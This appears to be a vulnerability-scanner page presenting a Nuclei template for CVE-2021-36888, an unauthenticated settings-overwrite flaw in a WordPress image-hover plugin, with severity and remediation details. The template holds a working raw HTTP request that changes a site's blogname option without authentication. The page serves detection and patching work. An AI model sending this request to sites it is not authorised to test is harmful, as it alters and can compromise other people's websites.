WordPress Image Hover Ultimate - Unauthenticated Settings Update
CVE-2021-36888
Early Release
Description
Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.
Severity
Critical
CVSS Score
9.8
Published Date
November 29, 2025
Template Author
riteshs4hu
CVE-2021-36888.yaml
id: CVE-2021-36888
info:
name: WordPress Image Hover Ultimate - Unauthenticated Settings Update
author: riteshs4hu
severity: critical
description: |
Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.
impact: |
Attackers can fully compromise the website, leading to complete control and potential data theft or defacement.
remediation: |
Update to the latest version of the plugin, newer than 9.6.1.
reference:
- https://wpscan.com/vulnerability/75da4102-7063-407f-975e-28be6ed33aac/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36888
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-36888
cwe-id: CWE-284
cpe: cpe:2.3:a:blocksera:image_hover_effects::::::wordpress::*
metadata:
verified: true
max-request: 1
tags: cve,cve2021,wpscan,wp-plugin,wordpress,imagehover,intrusive,unauth,kev,vkev
variables:
rand: "{{randstr}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-json/ImageHoverUltimate/v1/oxi_settings HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22{{rand}}%22%7D
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "oxi-confirmation-success")'
condition: and
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, rand)"
condition: and
# digest: 4b0a00483046022100cf83dbd67ea48c9bf44df0ce39f572cc180b40225dcf4340c45336a293170cec022100906c6ec250c832b202301e39e1bbc4eb91f6e4cc90da36fcadbff250721b3813:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2021-36888
CWE ID:
cwe-284
Remediation Steps
Update to the latest version of the plugin, newer than 9.6.1.